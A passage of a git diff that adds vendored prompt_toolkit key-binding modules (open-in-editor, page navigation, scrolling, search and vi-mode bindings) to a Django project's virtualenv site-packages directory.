+ + +@register("edit-and-execute-command") +def edit_and_execute(event: E) -> None: + """ + Invoke an editor on the current command line, and accept the result. + """ + buff = event.current_buffer + buff.open_in_editor(validate_and_handle=True) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/open_in_editor.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/open_in_editor.py new file mode 100644 index 00000000..f8699f4a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/open_in_editor.py @@ -0,0 +1,49 @@ +""" +Open in editor key bindings. +""" +from prompt_toolkit.filters import emacs_mode, has_selection, vi_navigation_mode + +from ..key_bindings import KeyBindings, KeyBindingsBase, merge_key_bindings +from .named_commands import get_by_name + +__all__ = [ + "load_open_in_editor_bindings", + "load_emacs_open_in_editor_bindings", + "load_vi_open_in_editor_bindings", +] + + +def load_open_in_editor_bindings() -> KeyBindingsBase: + """ + Load both the Vi and emacs key bindings for handling edit-and-execute-command. + """ + return merge_key_bindings( + [ + load_emacs_open_in_editor_bindings(), + load_vi_open_in_editor_bindings(), + ] + ) + + +def load_emacs_open_in_editor_bindings() -> KeyBindings: + """ + Pressing C-X C-E will open the buffer in an external editor. + """ + key_bindings = KeyBindings() + + key_bindings.add("c-x", "c-e", filter=emacs_mode & ~has_selection)( + get_by_name("edit-and-execute-command") + ) + + return key_bindings + + +def load_vi_open_in_editor_bindings() -> KeyBindings: + """ + Pressing 'v' in navigation mode will open the buffer in an external editor. + """ + key_bindings = KeyBindings() + key_bindings.add("v", filter=vi_navigation_mode)( + get_by_name("edit-and-execute-command") + ) + return key_bindings diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/page_navigation.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/page_navigation.py new file mode 100644 index 00000000..4d531c04 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/page_navigation.py @@ -0,0 +1,82 @@ +""" +Key bindings for extra page navigation: bindings for up/down scrolling through +long pages, like in Emacs or Vi. +""" +from prompt_toolkit.filters import buffer_has_focus, emacs_mode, vi_mode +from prompt_toolkit.key_binding.key_bindings import ( + ConditionalKeyBindings, + KeyBindings, + KeyBindingsBase, + merge_key_bindings, +) + +from .scroll import ( + scroll_backward, + scroll_forward, + scroll_half_page_down, + scroll_half_page_up, + scroll_one_line_down, + scroll_one_line_up, + scroll_page_down, + scroll_page_up, +) + +__all__ = [ + "load_page_navigation_bindings", + "load_emacs_page_navigation_bindings", + "load_vi_page_navigation_bindings", +] + + +def load_page_navigation_bindings() -> KeyBindingsBase: + """ + Load both the Vi and Emacs bindings for page navigation. + """ + # Only enable when a `Buffer` is focused, otherwise, we would catch keys + # when another widget is focused (like for instance `c-d` in a + # ptterm.Terminal). + return ConditionalKeyBindings( + merge_key_bindings( + [ + load_emacs_page_navigation_bindings(), + load_vi_page_navigation_bindings(), + ] + ), + buffer_has_focus, + ) + + +def load_emacs_page_navigation_bindings() -> KeyBindingsBase: + """ + Key bindings, for scrolling up and down through pages. + This are separate bindings, because GNU readline doesn't have them. + """ + key_bindings = KeyBindings() + handle = key_bindings.add + + handle("c-v")(scroll_page_down) + handle("pagedown")(scroll_page_down) + handle("escape", "v")(scroll_page_up) + handle("pageup")(scroll_page_up) + + return ConditionalKeyBindings(key_bindings, emacs_mode) + + +def load_vi_page_navigation_bindings() -> KeyBindingsBase: + """ + Key bindings, for scrolling up and down through pages. + This are separate bindings, because GNU readline doesn't have them. + """ + key_bindings = KeyBindings() + handle = key_bindings.add + + handle("c-f")(scroll_forward) + handle("c-b")(scroll_backward) + handle("c-d")(scroll_half_page_down) + handle("c-u")(scroll_half_page_up) + handle("c-e")(scroll_one_line_down) + handle("c-y")(scroll_one_line_up) + handle("pagedown")(scroll_page_down) + handle("pageup")(scroll_page_up) + + return ConditionalKeyBindings(key_bindings, vi_mode) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/scroll.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/scroll.py new file mode 100644 index 00000000..4a43ff58 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/scroll.py @@ -0,0 +1,187 @@ +""" +Key bindings, for scrolling up and down through pages. + +This are separate bindings, because GNU readline doesn't have them, but +they are very useful for navigating through long multiline buffers, like in +Vi, Emacs, etc... +""" +from prompt_toolkit.key_binding.key_processor import KeyPressEvent + +__all__ = [ + "scroll_forward", + "scroll_backward", + "scroll_half_page_up", + "scroll_half_page_down", + "scroll_one_line_up", + "scroll_one_line_down", +] + +E = KeyPressEvent + + +def scroll_forward(event: E, half: bool = False) -> None: + """ + Scroll window down. + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w and w.render_info: + info = w.render_info + ui_content = info.ui_content + + # Height to scroll. + scroll_height = info.window_height + if half: + scroll_height //= 2 + + # Calculate how many lines is equivalent to that vertical space. + y = b.document.cursor_position_row + 1 + height = 0 + while y < ui_content.line_count: + line_height = info.get_height_for_line(y) + + if height + line_height < scroll_height: + height += line_height + y += 1 + else: + break + + b.cursor_position = b.document.translate_row_col_to_index(y, 0) + + +def scroll_backward(event: E, half: bool = False) -> None: + """ + Scroll window up. + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w and w.render_info: + info = w.render_info + + # Height to scroll. + scroll_height = info.window_height + if half: + scroll_height //= 2 + + # Calculate how many lines is equivalent to that vertical space. + y = max(0, b.document.cursor_position_row - 1) + height = 0 + while y > 0: + line_height = info.get_height_for_line(y) + + if height + line_height < scroll_height: + height += line_height + y -= 1 + else: + break + + b.cursor_position = b.document.translate_row_col_to_index(y, 0) + + +def scroll_half_page_down(event: E) -> None: + """ + Same as ControlF, but only scroll half a page. + """ + scroll_forward(event, half=True) + + +def scroll_half_page_up(event: E) -> None: + """ + Same as ControlB, but only scroll half a page. + """ + scroll_backward(event, half=True) + + +def scroll_one_line_down(event: E) -> None: + """ + scroll_offset += 1 + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w: + # When the cursor is at the top, move to the next line. (Otherwise, only scroll.) + if w.render_info: + info = w.render_info + + if w.vertical_scroll < info.content_height - info.window_height: + if info.cursor_position.y <= info.configured_scroll_offsets.top: + b.cursor_position += b.document.get_cursor_down_position() + + w.vertical_scroll += 1 + + +def scroll_one_line_up(event: E) -> None: + """ + scroll_offset -= 1 + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w: + # When the cursor is at the bottom, move to the previous line. (Otherwise, only scroll.) + if w.render_info: + info = w.render_info + + if w.vertical_scroll > 0: + first_line_height = info.get_height_for_line(info.first_visible_line()) + + cursor_up = info.cursor_position.y - ( + info.window_height + - 1 + - first_line_height + - info.configured_scroll_offsets.bottom + ) + + # Move cursor up, as many steps as the height of the first line. + # TODO: not entirely correct yet, in case of line wrapping and many long lines. + for _ in range(max(0, cursor_up)): + b.cursor_position += b.document.get_cursor_up_position() + + # Scroll window + w.vertical_scroll -= 1 + + +def scroll_page_down(event: E) -> None: + """ + Scroll page down. (Prefer the cursor at the top of the page, after scrolling.) + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w and w.render_info: + # Scroll down one page. + line_index = max(w.render_info.last_visible_line(), w.vertical_scroll + 1) + w.vertical_scroll = line_index + + b.cursor_position = b.document.translate_row_col_to_index(line_index, 0) + b.cursor_position += b.document.get_start_of_line_position( + after_whitespace=True + ) + + +def scroll_page_up(event: E) -> None: + """ + Scroll page up. (Prefer the cursor at the bottom of the page, after scrolling.) + """ + w = event.app.layout.current_window + b = event.app.current_buffer + + if w and w.render_info: + # Put cursor at the first visible line. (But make sure that the cursor + # moves at least one line up.) + line_index = max( + 0, + min(w.render_info.first_visible_line(), b.document.cursor_position_row - 1), + ) + + b.cursor_position = b.document.translate_row_col_to_index(line_index, 0) + b.cursor_position += b.document.get_start_of_line_position( + after_whitespace=True + ) + + # Set the scroll offset. We can safely set it to zero; the Window will + # make sure that it scrolls at least until the cursor becomes visible. + w.vertical_scroll = 0 diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/search.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/search.py new file mode 100644 index 00000000..06a047e4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/search.py @@ -0,0 +1,93 @@ +""" +Search related key bindings. +""" +from prompt_toolkit import search +from prompt_toolkit.application.current import get_app +from prompt_toolkit.filters import Condition, control_is_searchable, is_searching +from prompt_toolkit.key_binding.key_processor import KeyPressEvent + +from ..key_bindings import key_binding + +__all__ = [ + "abort_search", + "accept_search", + "start_reverse_incremental_search", + "start_forward_incremental_search", + "reverse_incremental_search", + "forward_incremental_search", + "accept_search_and_accept_input", +] + +E = KeyPressEvent + + +@key_binding(filter=is_searching) +def abort_search(event: E) -> None: + """ + Abort an incremental search and restore the original + line. + (Usually bound to ControlG/ControlC.) + """ + search.stop_search() + + +@key_binding(filter=is_searching) +def accept_search(event: E) -> None: + """ + When enter pressed in isearch, quit isearch mode. (Multiline + isearch would be too complicated.) + (Usually bound to Enter.) + """ + search.accept_search() + + +@key_binding(filter=control_is_searchable) +def start_reverse_incremental_search(event: E) -> None: + """ + Enter reverse incremental search. + (Usually ControlR.) + """ + search.start_search(direction=search.SearchDirection.BACKWARD) + + +@key_binding(filter=control_is_searchable) +def start_forward_incremental_search(event: E) -> None: + """ + Enter forward incremental search. + (Usually ControlS.) + """ + search.start_search(direction=search.SearchDirection.FORWARD) + + +@key_binding(filter=is_searching) +def reverse_incremental_search(event: E) -> None: + """ + Apply reverse incremental search, but keep search buffer focused. + """ + search.do_incremental_search(search.SearchDirection.BACKWARD, count=event.arg) + + +@key_binding(filter=is_searching) +def forward_incremental_search(event: E) -> None: + """ + Apply forward incremental search, but keep search buffer focused. + """ + search.do_incremental_search(search.SearchDirection.FORWARD, count=event.arg) + + +@Condition +def _previous_buffer_is_returnable() -> bool: + """ + True if the previously focused buffer has a return handler. + """ + prev_control = get_app().layout.search_target_buffer_control + return bool(prev_control and prev_control.buffer.is_returnable) + + +@key_binding(filter=is_searching & _previous_buffer_is_returnable) +def accept_search_and_accept_input(event: E) -> None: + """ + Accept the search operation first, then accept the input. + """ + search.accept_search() + event.current_buffer.validate_and_handle() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/vi.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/vi.py new file mode 100644 index 00000000..efbb107d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/bindings/vi.py @@ -0,0 +1,2221 @@ +# pylint: disable=function-redefined +import codecs +import string +from enum import Enum +from itertools import accumulate +from typing import Callable, Iterable, List, Optional, Tuple, TypeVar, Union + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.buffer import Buffer, indent, reshape_text, unindent +from prompt_toolkit.clipboard import ClipboardData +from prompt_toolkit.document import Document +from prompt_toolkit.filters import ( + Always, + Condition, + Filter, + has_arg, + is_read_only, + is_searching, +) +from prompt_toolkit.filters.app import ( + in_paste_mode, + is_multiline, + vi_digraph_mode, + vi_insert_mode, + vi_insert_multiple_mode, + vi_mode, + vi_navigation_mode, + vi_recording_macro, + vi_replace_mode, + vi_replace_single_mode, + vi_search_direction_reversed, + vi_selection_mode, + vi_waiting_for_text_object_mode, +) +from prompt_toolkit.input.vt100_parser import Vt100Parser +from prompt_toolkit.key_binding.digraphs import DIGRAPHS +from prompt_toolkit.key_binding.key_processor import KeyPress, KeyPressEvent +from prompt_toolkit.key_binding.vi_state import CharacterFind, InputMode +from prompt_toolkit.keys import Keys +from prompt_toolkit.search import SearchDirection +from prompt_toolkit.selection import PasteMode, SelectionState, SelectionType + +from ..key_bindings import ConditionalKeyBindings, KeyBindings, KeyBindingsBase +from .named_commands import get_by_name + +__all__ = [ + "load_vi_bindings", + "load_vi_search_bindings", +] + +E = KeyPressEvent + +ascii_lowercase = string.ascii_lowercase + +vi_register_names = ascii_lowercase + "0123456789" + + +class TextObjectType(Enum): + EXCLUSIVE = "EXCLUSIVE" + INCLUSIVE = "INCLUSIVE" + LINEWISE = "LINEWISE" + BLOCK = "BLOCK" + + +class TextObject: + """ + Return struct for functions wrapped in ``text_object``. + Both `start` and `end` are relative to the current cursor position. + """ + + def __init__( + self, start: int, end: int = 0, type: TextObjectType = TextObjectType.EXCLUSIVE + ): + + self.start = start + self.end = end + self.type = type + + @property + def selection_type(self) -> SelectionType: + if self.type == TextObjectType.LINEWISE: + return SelectionType.LINES + if self.type == TextObjectType.BLOCK: + return SelectionType.BLOCK + else: + return SelectionType.CHARACTERS + + def sorted(self) -> Tuple[int, int]: + """ + Return a (start, end) tuple where start <= end. + """ + if self.start < self.end: + return self.start, self.end + else: + return self.end, self.start + + def operator_range(self, document: Document) -> Tuple[int, int]: + """ + Return a (start, end) tuple with start <= end that indicates the range + operators should operate on. + `buffer` is used to get start and end of line positions. + + This should return something that can be used in a slice, so the `end` + position is *not* included. + """ + start, end = self.sorted() + doc = document + + if ( + self.type == TextObjectType.EXCLUSIVE + and doc.translate_index_to_position(end + doc.cursor_position)[1] == 0 + ): + # If the motion is exclusive and the end of motion is on the first + # column, the end position becomes end of previous line. + end -= 1 + if self.type == TextObjectType.INCLUSIVE: + end += 1 + if self.type == TextObjectType.LINEWISE: + # Select whole lines + row, col = doc.translate_index_to_position(start + doc.cursor_position) + start = doc.translate_row_col_to_index(row, 0) - doc.cursor_position + row, col = doc.translate_index_to_position(end + doc.cursor_position) + end = ( + doc.translate_row_col_to_index(row, len(doc.lines[row])) + - doc.cursor_position + ) + return start, end + + def get_line_numbers(self, buffer: Buffer) -> Tuple[int, int]: + """ + Return a (start_line, end_line) pair. + """ + # Get absolute cursor positions from the text object. + from_, to = self.operator_range(buffer.document) + from_ += buffer.cursor_position + to += buffer.cursor_position + + # Take the start of the lines. + from_, _ = buffer.document.translate_index_to_position(from_) + to, _ = buffer.document.translate_index_to_position(to) + + return from_, to + + def cut(self, buffer: Buffer) -> Tuple[Document, ClipboardData]: + """ + Turn text object into `ClipboardData` instance. + """ + from_, to = self.operator_range(buffer.document) + + from_ += buffer.cursor_position + to += buffer.cursor_position + + # For Vi mode, the SelectionState does include the upper position, + # while `self.operator_range` does not. So, go one to the left, unless + # we're in the line mode, then we don't want to risk going to the + # previous line, and missing one line in the selection. + if self.type != TextObjectType.LINEWISE: + to -= 1 + + document = Document( + buffer.text, + to, + SelectionState(original_cursor_position=from_, type=self.selection_type), + ) + + new_document, clipboard_data = document.cut_selection() + return new_document, clipboard_data + + +# Typevar for any text object function: +TextObjectFunction = Callable[[E], TextObject] +_TOF = TypeVar("_TOF", bound=TextObjectFunction) + + +def create_text_object_decorator( + key_bindings: KeyBindings, +) -> Callable[..., Callable[[_TOF], _TOF]]: + """ + Create a decorator that can be used to register Vi text object implementations. + """ + + def text_object_decorator( + *keys: Union[Keys, str], + filter: Filter = Always(), + no_move_handler: bool = False, + no_selection_handler: bool = False, + eager: bool = False, + ) -> Callable[[_TOF], _TOF]: + """ + Register a text object function. + + Usage:: + + @text_object('w', filter=..., no_move_handler=False) + def handler(event): + # Return a text object for this key. + return TextObject(...) + + :param no_move_handler: Disable the move handler in navigation mode. + (It's still active in selection mode.) + """ + + def decorator(text_object_func: _TOF) -> _TOF: + @key_bindings.add( + *keys, filter=vi_waiting_for_text_object_mode & filter, eager=eager + ) + def _apply_operator_to_text_object(event: E) -> None: + # Arguments are multiplied. + vi_state = event.app.vi_state + event._arg = str((vi_state.operator_arg or 1) * (event.arg or 1)) + + # Call the text object handler. + text_obj = text_object_func(event) + + # Get the operator function. + # (Should never be None here, given the + # `vi_waiting_for_text_object_mode` filter state.) + operator_func = vi_state.operator_func + + if text_obj is not None and operator_func is not None: + # Call the operator function with the text object. + operator_func(event, text_obj) + + # Clear operator. + event.app.vi_state.operator_func = None + event.app.vi_state.operator_arg = None + + # Register a move operation. (Doesn't need an operator.) + if not no_move_handler: + + @key_bindings.add( + *keys, + filter=~vi_waiting_for_text_object_mode + & filter + & vi_navigation_mode, + eager=eager, + ) + def _move_in_navigation_mode(event: E) -> None: + """ + Move handler for navigation mode. + """ + text_object = text_object_func(event) + event.current_buffer.cursor_position += text_object.start + + # Register a move selection operation. + if not no_selection_handler: + + @key_bindings.add( + *keys, + filter=~vi_waiting_for_text_object_mode + & filter + & vi_selection_mode, + eager=eager, + ) + def _move_in_selection_mode(event: E) -> None: + """ + Move handler for selection mode. + """ + text_object = text_object_func(event) + buff = event.current_buffer + selection_state = buff.selection_state + + if selection_state is None: + return # Should not happen, because of the `vi_selection_mode` filter. + + # When the text object has both a start and end position, like 'i(' or 'iw', + # Turn this into a selection, otherwise the cursor. + if text_object.end: + # Take selection positions from text object. + start, end = text_object.operator_range(buff.document) + start += buff.cursor_position + end += buff.cursor_position + + selection_state.original_cursor_position = start + buff.cursor_position = end + + # Take selection type from text object. + if text_object.type == TextObjectType.LINEWISE: + selection_state.type = SelectionType.LINES + else: + selection_state.type = SelectionType.CHARACTERS + else: + event.current_buffer.cursor_position += text_object.start + + # Make it possible to chain @text_object decorators. + return text_object_func + + return decorator + + return text_object_decorator + + +# Typevar for any operator function: +OperatorFunction = Callable[[E, TextObject], None] +_OF = TypeVar("_OF", bound=OperatorFunction) + + +def create_operator_decorator( + key_bindings: KeyBindings, +) -> Callable[..., Callable[[_OF], _OF]]: + """ + Create a decorator that can be used for registering Vi operators. + """ + + def operator_decorator( + *keys: Union[Keys, str], filter: Filter = Always(), eager: bool = False + ) -> Callable[[_OF], _OF]: + """ + Register a Vi operator. + + Usage:: + + @operator('d', filter=...) + def handler(event, text_object): + # Do something with the text object here. + """ + + def decorator(operator_func: _OF) -> _OF: + @key_bindings.add( + *keys, + filter=~vi_waiting_for_text_object_mode & filter & vi_navigation_mode, + eager=eager, + ) + def _operator_in_navigation(event: E) -> None: + """ + Handle operator in navigation mode. + """ + # When this key binding is matched, only set the operator + # function in the ViState. We should execute it after a text + # object has been received. + event.app.vi_state.operator_func = operator_func + event.app.vi_state.operator_arg = event.arg + + @key_bindings.add( + *keys, + filter=~vi_waiting_for_text_object_mode & filter & vi_selection_mode, + eager=eager, + ) + def _operator_in_selection(event: E) -> None: + """ + Handle operator in selection mode. + """ + buff = event.current_buffer + selection_state = buff.selection_state + + if selection_state is not None: + # Create text object from selection. + if selection_state.type == SelectionType.LINES: + text_obj_type = TextObjectType.LINEWISE + elif selection_state.type == SelectionType.BLOCK: + text_obj_type = TextObjectType.BLOCK + else: + text_obj_type = TextObjectType.INCLUSIVE + + text_object = TextObject( + selection_state.original_cursor_position - buff.cursor_position, + type=text_obj_type, + ) + + # Execute operator. + operator_func(event, text_object) + + # Quit selection mode. + buff.selection_state = None + + return operator_func + + return decorator + + return operator_decorator + + +def load_vi_bindings() -> KeyBindingsBase: + """ + Vi extensions. + + # Overview of Readline Vi commands: + # http://www.catonmat.net/download/bash-vi-editing-mode-cheat-sheet.pdf + """ + # Note: Some key bindings have the "~IsReadOnly()" filter added. This + # prevents the handler to be executed when the focus is on a + # read-only buffer. + # This is however only required for those that change the ViState to + # INSERT mode. The `Buffer` class itself throws the + # `EditReadOnlyBuffer` exception for any text operations which is + # handled correctly. There is no need to add "~IsReadOnly" to all key + # bindings that do text manipulation. + + key_bindings = KeyBindings() + handle = key_bindings.add + + # (Note: Always take the navigation bindings in read-only mode, even when + # ViState says different.) + + TransformFunction = Tuple[Tuple[str, ...], Filter, Callable[[str], str]] + + vi_transform_functions: List[TransformFunction] = [ + # Rot 13 transformation + ( + ("g", "?"), + Always(), + lambda string: codecs.encode(string, "rot_13"), + ), + # To lowercase + (("g", "u"), Always(), lambda string: string.lower()), + # To uppercase. + (("g", "U"), Always(), lambda string: string.upper()), + # Swap case. + (("g", "~"), Always(), lambda string: string.swapcase()), + ( + ("~",), + Condition(lambda: get_app().vi_state.tilde_operator), + lambda string: string.swapcase(), + ), + ] + + # Insert a character literally (quoted insert). + handle("c-v", filter=vi_insert_mode)(get_by_name("quoted-insert")) + + @handle("escape") + def _back_to_navigation(event: E) -> None: + """ + Escape goes to vi navigation mode. + """ + buffer = event.current_buffer + vi_state = event.app.vi_state + + if vi_state.input_mode in (InputMode.INSERT, InputMode.REPLACE): + buffer.cursor_position += buffer.document.get_cursor_left_position() + + vi_state.input_mode = InputMode.NAVIGATION + + if bool(buffer.selection_state): + buffer.exit_selection() + + @handle("k", filter=vi_selection_mode) + def _up_in_selection(event: E) -> None: + """ + Arrow up in selection mode. + """ + event.current_buffer.cursor_up(count=event.arg) + + @handle("j", filter=vi_selection_mode) + def _down_in_selection(event: E) -> None: + """ + Arrow down in selection mode. + """ + event.current_buffer.cursor_down(count=event.arg) + + @handle("up", filter=vi_navigation_mode) + @handle("c-p", filter=vi_navigation_mode) + def _up_in_navigation(event: E) -> None: + """ + Arrow up and ControlP in navigation mode go up. + """ + event.current_buffer.auto_up(count=event.arg) + + @handle("k", filter=vi_navigation_mode) + def _go_up(event: E) -> None: + """ + Go up, but if we enter a new history entry, move to the start of the + line. + """ + event.current_buffer.auto_up( + count=event.arg, go_to_start_of_line_if_history_changes=True + ) + + @handle("down", filter=vi_navigation_mode) + @handle("c-n", filter=vi_navigation_mode) + def _go_down(event: E) -> None: + """ + Arrow down and Control-N in navigation mode. + """ + event.current_buffer.auto_down(count=event.arg) + + @handle("j", filter=vi_navigation_mode) + def _go_down2(event: E) -> None: + """ + Go down, but if we enter a new history entry, go to the start of the line. + """ + event.current_buffer.auto_down( + count=event.arg, go_to_start_of_line_if_history_changes=True + ) + + @handle("backspace", filter=vi_navigation_mode) + def _go_left(event: E) -> None: + """ + In navigation-mode, move cursor. + """ + event.current_buffer.cursor_position += ( + event.current_buffer.document.get_cursor_left_position(count=event.arg) + ) + + @handle("c-n", filter=vi_insert_mode) + def _complete_next(event: E) -> None: + b = event.current_buffer + + if b.complete_state: + b.complete_next() + else: + b.start_completion(select_first=True) + + @handle("c-p", filter=vi_insert_mode) + def _complete_prev(event: E) -> None: + """ + Control-P: To previous completion. + """ + b = event.current_buffer + + if b.complete_state: + b.complete_previous() + else: + b.start_completion(select_last=True) + + @handle("c-g", filter=vi_insert_mode) + @handle("c-y", filter=vi_insert_mode) + def _accept_completion(event: E) -> None: + """ + Accept current completion. + """ + event.current_buffer.complete_state = None + + @handle("c-e", filter=vi_insert_mode) + def _cancel_completion(event: E) -> None: + """ + Cancel completion. Go back to originally typed text. + """ + event.current_buffer.cancel_completion() + + @Condition + def is_returnable() -> bool: + return get_app().current_buffer.is_returnable + + # In navigation mode, pressing enter will always return the input. + handle("enter", filter=vi_navigation_mode & is_returnable)( + get_by_name("accept-line") + ) + + # In insert mode, also accept input when enter is pressed, and the buffer + # has been marked as single line. + handle("enter", filter=is_returnable & ~is_multiline)(get_by_name("accept-line")) + + @handle("enter", filter=~is_returnable & vi_navigation_mode) + def _start_of_next_line(event: E) -> None: + """ + Go to the beginning of next line. + """ + b = event.current_buffer + b.cursor_down(count=event.arg) + b.cursor_position += b.document.get_start_of_line_position( + after_whitespace=True + ) + + # ** In navigation mode ** + + # List of navigation commands: http://hea-www.harvard.edu/~fine/Tech/vi.html + + @handle("insert", filter=vi_navigation_mode) + def _insert_mode(event: E) -> None: + """ + Pressing the Insert key. + """ + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("insert", filter=vi_insert_mode) + def _navigation_mode(event: E) -> None: + """ + Pressing the Insert key. + """ + event.app.vi_state.input_mode = InputMode.NAVIGATION + + @handle("a", filter=vi_navigation_mode & ~is_read_only) + # ~IsReadOnly, because we want to stay in navigation mode for + # read-only buffers. + def _a(event: E) -> None: + event.current_buffer.cursor_position += ( + event.current_buffer.document.get_cursor_right_position() + ) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("A", filter=vi_navigation_mode & ~is_read_only) + def _A(event: E) -> None: + event.current_buffer.cursor_position += ( + event.current_buffer.document.get_end_of_line_position() + ) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("C", filter=vi_navigation_mode & ~is_read_only) + def _change_until_end_of_line(event: E) -> None: + """ + Change to end of line. + Same as 'c$' (which is implemented elsewhere.) + """ + buffer = event.current_buffer + + deleted = buffer.delete(count=buffer.document.get_end_of_line_position()) + event.app.clipboard.set_text(deleted) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("c", "c", filter=vi_navigation_mode & ~is_read_only) + @handle("S", filter=vi_navigation_mode & ~is_read_only) + def _change_current_line(event: E) -> None: # TODO: implement 'arg' + """ + Change current line + """ + buffer = event.current_buffer + + # We copy the whole line. + data = ClipboardData(buffer.document.current_line, SelectionType.LINES) + event.app.clipboard.set_data(data) + + # But we delete after the whitespace + buffer.cursor_position += buffer.document.get_start_of_line_position( + after_whitespace=True + ) + buffer.delete(count=buffer.document.get_end_of_line_position()) + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("D", filter=vi_navigation_mode) + def _delete_until_end_of_line(event: E) -> None: + """ + Delete from cursor position until the end of the line. + """ + buffer = event.current_buffer + deleted = buffer.delete(count=buffer.document.get_end_of_line_position()) + event.app.clipboard.set_text(deleted) + + @handle("d", "d", filter=vi_navigation_mode) + def _delete_line(event: E) -> None: + """ + Delete line. (Or the following 'n' lines.) + """ + buffer = event.current_buffer + + # Split string in before/deleted/after text. + lines = buffer.document.lines + + before = "\n".join(lines[: buffer.document.cursor_position_row]) + deleted = "\n".join( + lines[ + buffer.document.cursor_position_row : buffer.document.cursor_position_row + + event.arg + ] + ) + after = "\n".join(lines[buffer.document.cursor_position_row + event.arg :]) + + # Set new text. + if before and after: + before = before + "\n" + + # Set text and cursor position. + buffer.document = Document( + text=before + after, + # Cursor At the start of the first 'after' line, after the leading whitespace. + cursor_position=len(before) + len(after) - len(after.lstrip(" ")), + ) + + # Set clipboard data + event.app.clipboard.set_data(ClipboardData(deleted, SelectionType.LINES)) + + @handle("x", filter=vi_selection_mode) + def _cut(event: E) -> None: + """ + Cut selection. + ('x' is not an operator.) + """ + clipboard_data = event.current_buffer.cut_selection() + event.app.clipboard.set_data(clipboard_data) + + @handle("i", filter=vi_navigation_mode & ~is_read_only) + def _i(event: E) -> None: + event.app.vi_state.input_mode = InputMode.INSERT + + @handle("I", filter=vi_navigation_mode & ~is_read_only) + def _I(event: E) -> None: + event.app.vi_state.input_mode = InputMode.INSERT + event.current_buffer.cursor_position += ( + event.current_buffer.document.get_start_of_line_position( + after_whitespace=True + ) + ) + + @Condition + def in_block_selection() -> bool: + buff = get_app().current_buffer + return bool( + buff.selection_state and buff.selection_state.type == SelectionType.BLOCK + ) + + @handle("I", filter=in_block_selection & ~is_read_only) + def insert_in_block_selection(event: E, after: bool = False) -> None: + """ + Insert in block selection mode. + """ + buff = event.current_buffer + + # Store all cursor positions. + positions = [] + + if after: + + def get_pos(from_to: Tuple[int, int]) -> int: + return from_to[1] + + else: + + def get_pos(from_to: Tuple[int, int]) -> int: + return from_to[0] + + for i, from_to in enumerate(buff.document.selection_ranges()): + positions.append(get_pos(from_to)) + if i == 0: + buff.cursor_position = get_pos(from_to) + + buff.multiple_cursor_positions = positions + + # Go to 'INSERT_MULTIPLE' mode. + event.app.vi_state.input_mode = InputMode.INSERT_MULTIPLE + buff.exit_selection() + + @handle("A", filter=in_block_selection & ~is_read_only) + def _append_after_block(event: E) -> None: + insert_in_block_selection(event, after=True) + + @handle("J", filter=vi_navigation_mode & ~is_read_only) + def _join(event: E) -> None: + """ + Join lines. + """ + for i in range(event.arg): + event.current_buffer.join_next_line() + + @handle("g", "J", filter=vi_navigation_mode & ~is_read_only) + def _join_nospace(event: E) -> None: + """ + Join lines without space. + """ + for i in range(event.arg): + event.current_buffer.join_next_line(separator="") + + @handle("J", filter=vi_selection_mode & ~is_read_only) + def _join_selection(event: E) -> None: + """ + Join selected lines. + """ + event.current_buffer.join_selected_lines() + + @handle("g", "J", filter=vi_selection_mode & ~is_read_only) + def _join_selection_nospace(event: E) -> None: + """ + Join selected lines without space. + """ + event.current_buffer.join_selected_lines(separator="") + + @handle("p", filter=vi_navigation_mode) + def _paste(event: E) -> None: + """ + Paste after + """ + event.current_buffer.paste_clipboard_data( + event.app.clipboard.get_data(), + count=event.arg, + paste_mode=PasteMode.VI_AFTER, + ) + + @handle("P", filter=vi_navigation_mode) + def _paste_before(event: E) -> None: + """ + Paste before + """ + event.current_buffer.paste_clipboard_data( + event.app.clipboard.get_data(), + count=event.arg, + paste_mode=PasteMode.VI_BEFORE, + ) + + @handle('"', Keys.Any, "p", filter=vi_navigation_mode) + def _paste_register(event: E) -> None: + """ + Paste from named register. + """ + c = event.key_sequence[1].data + if c in vi_register_names: + data = event.app.vi_state.named_registers.get(c) + if data: + event.current_buffer.paste_clipboard_data( + data, count=event.arg, paste_mode=PasteMode.VI_AFTER + ) + + @handle('"', Keys.Any, "P", filter=vi_navigation_mode) + def _paste_register_before(event: E) -> None: + """ + Paste (before) from named register. + """ + c = event.key_sequence[1].data + if c in vi_register_names: + data = event.app.vi_state.named_registers.get(c) + if data: + event.current_buffer.paste_clipboard_data( + data, count=event.arg, paste_mode=PasteMode.VI_BEFORE + ) + + @handle("r", filter=vi_navigation_mode) + def _replace(event: E) -> None: + """ + Go to 'replace-single'-mode. + """ + event.app.vi_state.input_mode = InputMode.REPLACE_SINGLE + + @handle("R", filter=vi_navigation_mode) + def _replace_mode(event: E) -> None: + """ + Go to 'replace'-mode. + """ + event.app.vi_state.input_mode = InputMode.REPLACE + + @handle("s", filter=vi_navigation_mode & 